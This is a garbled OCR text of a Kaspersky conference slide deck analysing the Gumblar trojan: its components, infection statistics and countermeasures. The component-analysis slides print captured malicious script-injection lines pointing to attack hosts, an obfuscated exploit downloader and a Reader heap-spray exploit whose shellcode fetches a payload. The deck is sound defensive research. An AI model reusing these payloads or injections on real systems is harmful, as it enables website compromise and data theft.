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Automated infection system:
New generation of threats

Based on a story of Gumblar trojan
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What is Gumblar?

Components list



Gumblar components |</.\S|’ERSKY§

List of components:
. Exploits component:
« Adobe PDF exploits
« Adobe Flash exploits
Win32 trojan application
« Server PHP backdoor
« HTTP redirector component (infected html)

o Injection component (html infector + server script
spreader)
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Component tiers KA I”RSKV‘%
dispatchers (<10)

injectors (~50)

infectors (=700)

redirectors(>40000)
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Speed of growth

HTML Injection Count



Speed of growth I</.\SI’ERSKY§

Number of server-side infections in October-November 2009
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Status Dec 04t 2009

Infectors 2000+ Redirectors 76100+ Redirector hits
511 UNITED STATES 32232 UNITED STATES 198458  www. sf andia.it
234 DENMARK 4263 TURKEY 161869 thes, etry.net
154 HUNGARY 4075 REPUBLIC OF KOREA 161763 adportal.thi o etrynet
139 GERMANY 3608 GERMANY 138240 zifru.com
124 RUSSIAN FEDERATION 3489 RUSSIAN FEDERATION 136659 espwine.com
87 REPUBLIC OF KOREA 3291  JAPAN 134820 sportl .com.mk
79 JAPAN 2284 POLAND 113186 fortuli ne.ru
67 CANADA 1997 CZECH REPUBLIC 109644  www. sk m-jinja.or.jp
43 POLAND 1956 THAILAND 93860 www.nemeosamaria.com
42 UNITED KINGDOM 1803 MNETHERLANDS 93225 fotosfmmmtiales.com
36 TURKEY 1697 UNITED KINGDOM 92604 4w omo0ggy.co.kr
25 INDIA 1480 FRANCE 82425  www.mbem @amrock.com
23 UKRAINE 1467 CANADA 63965 sedm om.br
22 SERBIAAND MONTENEGRO | 1203 BRAZIL 60360 tane w.co.il
18 THAILAND 1072 ARGENTINA 60190 eskm wkpl
17 FRANCE 1054 HUNGARY 58136 g-wmil.com
15 NETHERLANDS 804 SPAIN 56657  prestinmme*whrokers.com
11 BRAZIL 704 ITALY 55603 phi= op1.vn
10 GEORGIA 629 DENMARK 54168 senw asla.net
10 CZECH REPUBLIC 578 INDIA 53164 chal “aiirc.com
8 ARGENTINA 523 UKRAINE 51385 sube &fer.com.br
7 LUXEMBOURG 453 ROMANIA 50169 22212




HTS DOMAIN Host Count b 3y V-8
22953 ES BEOE  US I(A" ;|{S|< o« B

ruble ‘Y.com

17864 kieb Co.kr KR 1171 KR
15368 mak®™ #=<h.com us 1168 JP
15131  haaw2 B9.com us 998 CO Status Feb 16th 2010
12389 kec B _oop.cokr KR 438 TR
89318 aibgwmha.in [N 910 DE
8851 sn- "mr.com us 707 RU
8025 hobbesss.com GBE 619 TH
6562 brunce Bepmedway.co.kr KR 562 PL
6380 sasa.nam® iterhosting.kr KR 419 FR
5940 210.221.2%.%) KR 399  NL
5929 vitage« = ler.com KR 392 GB
5737 Blef zom CH 351 CA
5396 hpd scc.co.kr KR 292 CZ
5318 ul&.com us 278 AR
5284 qulyisya.com EG 263 ES

5263 ap" Fe.com us 248 BR
5187 ac’ ld.net KR 228 HU
4845 et om DE 1899 IN
4793  raji=’ ac.th ™ 183 IT
44383  indiowlionet TR 131 RO
4409 pap pk.com us 120 DK
4382 wiaterko.com FR 109 UA
™

4326 tkk2& T ‘mec.go.th 100 TwW
4321  insurare & @ ®tuteofindia.com  IN 94 MY
4291  forurm =eferko.com FR 84 VN
4031  smallve = po.kr KR 81 CN
3934  thepce am.pk PK 62 AT
3834 emlas »zete.com us 58 SE
3588 gundmome.com KR 57 AU



Local access count analysis

Infection count Top 100 JAPAN (pecember 6th)
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1866 sumir& «iniwa.com
184S wisgrart.ne.jp

1814  shinjuke=at-eye.com
1788  fils wmlon.com

1718 criznail.com

1717 oois™ giken-school.com
1712 pakw= fomenade.com
1703 upp.so-net.ne.jp * -
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1435 kazuexposi-" #-site.com
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1413 ismatube.sakura.ne.jp
1412 dress: Bsuchou.com
1383  e-guidi #ooks.com
1388  dsabmy.sakura.ne.jp
1345  jwmsl.com
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Injection Statistics Malaysia

Domestic Location analysis



Gumblar-x vs Pegel KAJPERKY £

Gumblar-x Pegel
Exploit Adobe Reader Adobe Reader
Targets Flash MDAC
MSOffice WebComponent SnapShotViewer
Internet Explorer JRE
Function FTP acc FTP acc
Rootkit Rootkit
Fake AV
Botnet join
JP Count 5000 440
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Possible origins

Timeline analysis



Timeline analysis I</.\SI’ERSKY§

HTML injection time:
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Daylight zones (05:00 UTC)
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Daylight zones (15:00 UTC)
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Case study

HTML Injected sites



Gumblar Samples I(ASI’ERSKYﬁ

Many kind of web sites were found victimized.
At especially high risk:

« Small businesses (lower IT skill; business loss)
« Admins using same Passwords for multiple sites (adult)

APRICOT, 1st — 5th of March 2010, Kuala Lumpur
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Gumblar Samples I<ASI’ RSK\,Q

“« &« 5 » ‘Q 7 % i http://venus. /8 ackr/ police/ + A Jp &

amanesa MO . ...

MU! {G COLLEGE

File contains Trojan program. You are advised to
terminate the download.

. QUICK MENU
Trojan program: - 8lE717] b
Trojan-Downloader.]S.Gumblar.x

-~
File: 4 Web Mail

http:/{a2-studio.com/imagescenavnik.php

v Hxpaip

= Allow
The operation will be completed

yEee

= Deny

The operation will be blocked.

B SAPEEAIAY

HYY=EHE
[T apply to all

\v,‘_

Dept. of Pollcqg\Guard &Martlal Art

Bewst AP2IZIT} EAPN O 2 8
£ - BACHoRas 10| xAtn) o
28 25 Ul UHE Eziﬁi
"‘—\h . - E-Mall : sl 2 e ac kr
o - Tel : 054 - 558 Zio|Al : 1M 3038
v

745-5n ‘gew__lime e e ewew 28} mggﬂ

Q ! .[Ha” B8} | 054) S59- T, Fax | 054) 552- el

FOUEGE  COPYRIGHT (C) 2006 St 2t ALL RIGHT RESERVED,

APRICOT, 1st — 5th of March 2010, Kuala Lumpur
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4« &€ 5 » (97 X & http: /. police.com/ v A Jp

0 Web Anti-¥irus
e\ =/

File contains Trojan program. You are advised to
terminate the download.

Trojan program:
Trojan-Downloader.]S.Gumblar.x
File:
http:/inachalo.kilu.defoljazz/j0195812 . php

Allow
The operation will be completed

re currently updating our website

Deny
The operation will be blocked,

™ Agply to al CHECK BACK SOON TO
VISIT OUR UPDATED SITE

APRICOT, 1st — 5th of March 2010, Kuala Lumpur
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‘mmeyakagu.co.jp l

Text IHex I Cookiesl Links Parserl

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>'); ‘:J
document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>'); )
document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>'); pt
document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script src=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script srec=http://safeshop.ru/cns-pages/safeshop.php ><\/script>');

document.write ('<script srec=http://blog.myalchemilla.con/vp-content/vordpress-2.6.php ><\/script>');

document.write ('<script src=http://blog.myalchemilla.con/vp-content/vordpress-2.6.php ><\/script>');

document.write ('<script src=http://blog.myalchemilla.con/vp-content/vordpress-2.6.php ><\/script>');

document.write ('<script srec=http://blog.myalchemilla.con/vp-content/vordpress-2.6.php ><\/script>');

document.write ('<script src=http://blog.myalchemilla.con/vp-content/vordpress-2.6.php ><\/script>');

document.write ('<script src=http://blog.myalchemilla.con/vp-content/wvordpress-2.6.php ><\/script>');

document.write ('<script src=http://clauvandvanecouture.com/coleccion/vintage/ leef/113.php ><\/script>');
document.write('<script src=http://clauvandvanecouture.com/coleccion/vintage/ leef/113.php ><\/script>'):;
document.write('<script src=http://clauvandvanecouture.com/coleccion/vintage/ leef/113.php ><\/script>'):;
document.write('<script src=http://senseimo.info/calendarscript/20060812bhgb.php ><\/script>'});

document.write('<script src=http://senseimo.info/calendarscript/20060812bhgb.php ><\/script>');

document.write('<script src=http://senseimo.info/calendarscript/20060812bbob.php ><\/script>');

document.write ('<script src=http://senseimo.info/calendarscript/20060812bbceb.php ><\/script>');

document.write ('<script src=http://senseimo.info/calendarscript/20060812bbceb.php ><\/script>');

document.write('<script src=http://spicorenet.con/gbd4fsju/zhestokuyu.php ><\/script>'):; -

6
6
6
6

HTTP{1.1 200 OK|

Date: Thu, 25 Feb 2010 08:55:02 GMT

Server: Apache/2.0.53 (Linux/SUSE)

Last-Madified: Wed, 24 Feb 2010 05:54:51 GMT

ETag: "1da37-e094-4dfde0c”

Accept-Ranges: bytes

Content-Length: 57492

Connection: close

Content-Type: applicationfx-javascript _vJ

LRL: ey, sy akagu. o Jpfcommon. js = Gt | abort |

APRICOT, 1st — 5th of March 2010, Kuala Lumpur
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HTTP redirector component (infected html)

spicorenet,com ‘
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Text IHex | Cookies | Links Parser |

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://pharmloversse:

fClinicPhotos.php ></script>

com/ "><script src=http://bigdawgdesign.com/cgi-bhin

=

H

Server IP(s):
0.0.0.0

HTTP headers:

HTTP/1.1 200 OK

Date: Wed, 24 Feb 2010 05:52:15 GMT
Server: Apache

¥-Yortech-PHP: 0.1.0-p0

Last-Modified: Sat, 13 Feb 2010 12:14:32 GMT
ETaq: "8f-4b7697a3"

Accept-Ranges: bytes

Content-Length: 143

Connection: close

Content-Type: text/html

URL: Ihttp:ﬁspicorenet.com,l'qb4fsju,l'rrqtcb?.html

H

Get

Abort I




Gumblar components |</.\SI>ERSKY§

Analysis of active components:
. Exploits component:
« MSOfficeWeb exploit
« Adobe PDF exploits
« Adobe FLASH exploits

o WIN32 Trojan
« ROOTKIT

« DLL injection
« Web traffic hook

APRICOT, 1st — 5th of March 2010, Kuala Lumpur




EXp|O|t |ayerS I(A‘PERS'(Y."

Adobe PDF exploit shellcode downloads Win32 malware

Encrypted (xor)
Packed (flate)

Obfuscated (js)
Packed (hex ascii)

Encrypted (xor)
The shellcode (x86)

The malware URL

APRICOT, 1st — 5th of March 2010, Kuala Lumpur




Gumblar components Analysis I<ASI’ERSKY§

V/<script>

dLo4=24;if (unescape)dLod="";U90=unescape('% +dLo4);
RwR="K64ocument.F77riteP28F22P3cdiK76 sK74ylej3dP5cF22poP73F69tj690onj3aabsolutej3b
K6ceF66j74K3aP2d1j300F30pP78P3bP20]740P70F3aF2d1000pxP3bF5cP22P3ej22) P3bP76ar .
VpF41F3dP6eul 1K3btrj79i7bVi76AP3dnew AF63tiveXK4fbK6aK65]63t e Cookie ,Referer,UA check
(F22Acroj50DK46.P50DP46F22P29)3bj7dcP61tj63h(eF29K7bP7d1iP66 (P21VpA)
j7btrj79P7bVP76A]3dnewF20Active]580bP6aF65ct

(K22F50DK46 . P50dfP43P74r1K22P29K3bP7dcP61tcP68(e) F7bF7dP7dF69F66 (VpA) j7bj6cvF3d * Dynamlc COde on access
}528P5617$A F47ei174F56eri73ions().F73n1it(122.P22K29)15b13415dK2espli69t(P22K3dF22))

<script>
JBI=24;if (unescape)JBI="";dx2b=unescape('%'+JBI); ENV dependent attaCk
mKuwW="dk6fcumbdent.wrl69tem28m22k3cdim76 .
stylem3d]5cJ22pom73itJ)69Z6TnJ3ak61bk730lutk65k3b lek66tI3ak2d100k30pxm3b Exp|0|t downloader

topZ3ak2d1000k70xk3bZ5¢Z22Z3e322)13bvaZz72 holwdl3dnulk6cZ3bZ74ryZ7bholwmb4k3dnew
Am63t1vek580bJecm74(m22AcZ720PDF PDk46222m29m3bk7dcam74263hk28ek29m7bk7d1J66

(|a“C“G“Olllfael<87>w“0ea“G“ 111f6g1<87>E ~P-~G"Mi1iifaa1<87>"@!"0<8f>"G;i1ifay1<8
7>.<96>

WAG)iiifad ox,<9a>"Ufa+ Feiii+f<9a>Ed2é<85>19d2+1°Gdiiil<87>UbA<9f>"Gxiiifadd*1/
Lfal<87>"Piiilda(i<85>19de+"G<8e>111131(i3<91>A<8a>( €<97><8a>1i"P<9a>1d24<85>1d
0:7G 11i<85>e- 1aEU4LL“P<9a>ILLdﬂo<85>eﬂd0-“61111<85>1“P<9a>1dag<85>1ﬂd°—“6y111<8
5>"Pday<85>19de+"Giiii®" %1“N1“N1“N1“Nl“CepLdSAH“X%“P“OQd“Cd<92>gd2a1d<9c>0d<9b>n
<97>i~\1d<99>1i~\U&!®Bi, 1U"YaOyO"]<9b>g 14i%] "~D*"0~Q+<9a>
ud~DdpEi2<89>ddndudi2dédi*+2-¢i~G~[~Q P Pe4£¢ iihttp://192.168.141.11/qgumblar.ph
p?s=G5DSxfw&id=12"@

APRICOT, 1st — 5th of March 2010, Kuala Lumpur




Gumblar components Analysis

PDF reader exploit:

UF7BA%UEFO7%UEFEF%UAEEF%UBDB4%UBOEECSUPEECSUOEECSUOEECUO36C%UBSEB%U64BC%uOD35%uUB
D18%ubF10%ub64BA%ub6403%UE792%uB264%uB9E3%u9C64%ub4D3%uF19B%uEC97%uB91C%u9964%uECC
%UuDC1C%uAB626%ud42AE%=u2CECSUDCB9%UED19%uFF51%ulDD5%UE79B%u212E%UECE2%UAF1D%U1ED4%
ullD4%u9SAB1%uB50A%U0464%uB564%UECCB%u8932%UE364%ub64A4%uF3B5%u32EC%UEB64%UECE4%UB
12A%u2DB2%UEFE7%ulB07%ul1011%uBA10%UA3BD%UAOA2%UEFAL%U7468%Uu7074%Uu2F3A%U6D2F%u736
%U6168%ub6965%ub92E%U2F72%u5741%u7453%u7461%U2F73%u6461%u696D%U2EGE%U6870%U3F70%
u6469%u313D%u2630%uB000"); var IgM4=new Array(); function CYh(w8uUj,Zu7Dh){ 1
e(w8uUj.length*2<Zu7Dh)w8uUj+=w8ulUj; w8uUj=w8uUj.substring(@,Zu7Dh/2);return w8u
Uj;} function I6g(){ var nIh9=0x0cOcOcOc;var EcZSk=0x400000;var NXi=GFrP.length*
2; var Zu7Dh=EcZSk- (NXi+0x38);var w8ulUj=unescape("%u9090%u9090"); w8uUj=CYh(w8uU
j,Zu7Dh) ;var AgzIG=(nIh9-0x409900)/EcZSk; for (var ZvHPa=0;ZvHPa<AgzIG;ZvHPa++)I
qM4 [ ZvHPa|=w8uUj+GFrP;} try{var k6B37=app. viewerVersion toString(); k6B37=k6B37.
charAt(0)*100+k6B37. charAt(2)*10+k6837 charAt(4); 7((k6B37>=800)&&(k6B37<=812))
{ var FX3KX=unescape("%uOAGA%UOABA");var Yes=20;var xsY4=Yes+GFrP.length; while(
FX3KX.length<xsY4) FX3KX+=FX3KX; var 19ni=FX3KX.substring(@,xsY4); var Lts=FX3KX.s
ubstring(@,FX3KX.length-xsY4); while(Lts.length+xsY4<0x60000)Lts=Lts+Lts+19ni; T
7 (1z4FS=0;1z4FS<1200;1z4FS++) {IqM4[1z4FS|=Lts+GFrP} var c690-"12999999999999999
999"; for(ctc=0;ctc<276;ctc++)c6g0+="8"; util.printf("%45000f",c690);} 17((k6B37<
710) | | ((k6B37>800)&&(k6B37<812) ) ) {I6qg(); var Tll=unescape("%udcOc%udcOc” ) ;while(
T1l.1length<44952)T11+=T11l; this.collabStore=Collab.collectEmailInfo({subj:"",msg
:T11});} 17((k6B37<=900)&&(k6B37!=711)&&(k6B37!=813)&&app.doc.Collab.getIcon) {16
g(); var méiw=unescape("%09");while(méiw.length<0x4000) {m6iw+=m6iw; } m6iw="N."+m
6iw;app.doc.Collab.getIcon(m6iw);} }catch(e)|l]

KA(PIR{KY 8

PDF file
FlateDecode
avaScript

Downloader

APRICOT, 1st — 5th of March 2010, Kuala Lumpur
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Flash Player exploit: « CWSfile1l
e FWSfile1l

flash2.swf > Action [11] >

18 return; ~ :

p } * Binary

20 LI CEA ety 46 57530625 060000300A00A0000C0303441

21 var _loc_Z:3tring = 3082

22 var _loc_3:5tring = ¢ Decrypt

23 var _loc_4:3tring =

24 var _loc_S5:5tring = .

25 var _loc_6:3tring = ¢ CWS ﬁle 2
- .

e FWSfile 2

Taq Information
0x00000000 46 57 53 09 F1 CS5 00 00

0x00000010 00 OO 1E 01 OO0 44 11 08 00 00 00 43 02 FF FF FF ..... Dicaes C ® Strings
0x00000020 3F 12 B5 CS 00 00 10 00 Z2E 00 04 A0 06 FF 01 80 ?......00u

0x00000030 02 00 00 8B 02 00 OD 66 6C 61 73 68 ZE 64 69 73 ....... flask

0x00000040 70 6C 61 79 09 4D 6F 76 69 65 43 6C 69 70 07 63 play.MovieCl P ASC” 9 bin

0x00000050 75 72 72 65 6E 74 0B 66 6C 61 73 68 ZE 75 74 69 urrent.flask

0x00000060 6C 73 08 67 65 74 54 69 6D 65 72 06 4E 75 6D 62 ls.getTimer.

0x00000070 65 72 01 2E 21 68 74 74 70 3A ZF ZF 61 64 6F 62 er..'http:/; ° FWS ﬁle 3
0x00000080 65 2E 63 6F 6D 2F 41 53 33 2F 32 30 30 36 2F 62 e.com/AS3/2(C

(Downloader)
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Gumblar components

Win32 trojan application

fzrre~Br@ @ @D @ 0"@yy e e, "e"e"e e e "e"ee e "z e "e"e e e e e e e"ere e e e e e
@@ @ E"ENE"E e e e ENE"E e e @ @ R AN @2 P @ N T I! "ALI!<90><90>This pro
gram must be run under Win32"M
$77"@"@"@"@"e"@"e"@"e"e"e"e"e"e"e"e"e"e"e"e"e@"e"@"e"@"e"@"e"@"e"@"e"@"e"e"e"e"e"@
f@7E"ENENENE"E"E"e"@"@ @ @ @ e e e e e @ "@"@ @ @ @ @ e e "@"@"@"@"@" @@ e e e @@
f@"E"NE"E"E"E"E"E"E"@"@"@ @@ @ @@ @ "@"@"@"@"@"@"@"@"@"E"@"@"@"@"@"@"@"e"e"e"@"@
~@"@"@"e"e"e"e"e e e @ @ @ @ @ @ "GPE @ CL "A"F @ Y B* @ @ @ @ @ @ @ @a"@<8e>i"K" A
~“B*Y"@I"@"@"@
~@"@"@"e"e"eic"e"e"e"P e"e"Ga"e e e @@ e e P e e @ "B e e "D e e e "e"e"e @D e e @
~@"@"@"@"@"A"@"@"D"@"@"@"@"@"@"B @ "A"@"@"@"@"@" e @ @ e e "@"P @ "@"P @ @ @ @ "@"@"
P @"@"@"@"@"@"@"@"@"@"@"@"@"A"@I"B"@"@"@ "“A"@<8e>"A"@"@"@"@"@"@"@"@"e"e"@"e"e"@"
@"@"@"@"@"P"A"@<8Cc>"AT@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"@"e"e"@"
@"@"@"@"@"@"@"@"e"e"@"@"@"@"@"@"e"e"e"e"e"e"@"@"e e e e "e"e"@"@"@"@"@"e@"e"e"e"@"
@"@"@"@"@"@"@"@"@"@"@"@"@CODE"@"@"@"@<9c>E"@"@"@"P"@"@"@eI"@¢"@"@"p"@"@"@" @ e e "e@"
ANAANRAARARARNA  ARAR NATAARARANANA | ARGARARAANRASIAANANAARARARNANARARARANANAN AN AN AN ANANANA
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Downloaded Exe ...
Creates DLL
Restart ...

Process Injection
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Gumblar components I<ASI’ERSI<Y§

GET /x/?0E2ctpcuoreexykeiljuvnydegsempthkul2 HTTP/1.1
SS: /search?hl=ja&source=hp&g=smartftp&lr=&aq=f&og= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.google.co.jp/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
er_Agent. i compatible; MSIE 6.0; Windows NT 5.1; SV1)

Xost: www.google.co.jp
Connection: Keep-Alive

Host: 67.212..

HTTP/1.1 200 OK

Date: Mon, 18 Jan 2010 06:24:23 GMT

Server: Apache/2.2.3 (Cent0S)

X-Powered-By: PHP/5.1.6

Pragma: no-cache|

Expires: Thu, 01 Jan 2000 00:00:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Connection: close ° 1 1
Proxy-Connection: close C&C Communlcahon
Content-Length: 50

Content-Type: text/html; charset=UTF-8 ° H|dden in |eg|t stream
//THqQQOHAPKGEHD ctpcuoreexykeiljuvnydegsempthkul2n
* Self UPDATE

e FTP Acc data stolen
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Gumblar components KA I’ERSKYﬁ

REDIRECT

BROWSER?

JAVASCRIPT

DOWNLOADER DOWNLOADER
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Gumblar Demo KA I’ERSKYﬁ

Infection procedure

e Live demonstration with Virtual machines as Server & Client

(DEMO)
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Gumblar Demo KA I’ERSKYﬁ

Server PHP backdoor

« Command line level access to compromised machine

(DEMO)
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Variable name analysis I<ASI’ERSI<Y§

Eastern European name “iutka” - the only meaningful identifier

lisset(siutkal)) {
function 1utka(ss) {

if (preg match all('#
: 0
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Automated infection system

Generalization of Gumblar threat



Definition KAIPER{KY 2

Automated Infection System (AlS) is a distributed
multicomponent information system which has a viral nature
and can grow on its own by establishing the data exchange
between its components. The growth of the system is
estimated by the number of computers which hosts the
components of the system.



<APIR{KY 2

Threat level estimation

How dangerous is such system?



Threat level estimation KA{PzR|KY 2

Risks:
Very large scale
Sensitive data leakage
International
Rapidly growing
No human interaction required (self-sufficient)
Has the power of server botnet
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Threat level estimation KA{PzR|KY 2

Weaknesses:

Dependence on the root servers
Elimination of root infector-servers stops system operation

Dependence on stable data exchange

Destruction of few communication channels (even basing on
network filtering) stops system growth

Compatibility problem (different platforms/interpreters)

The code highly depends on usage of compatible (sometimes
deprecated) functions to work correctly

Can be simply honeypotted

The system may be artificially fed with honeypot FTP credentials
that will reveal active servers
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Conclusion KA{PER{KY 3

» Success due to low profile visibility;

» Result - slow countermeasures by AV industry;

« Multiple infection routines & obfuscation;

* Frequent code changes to circumvent security software;
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Thank you !
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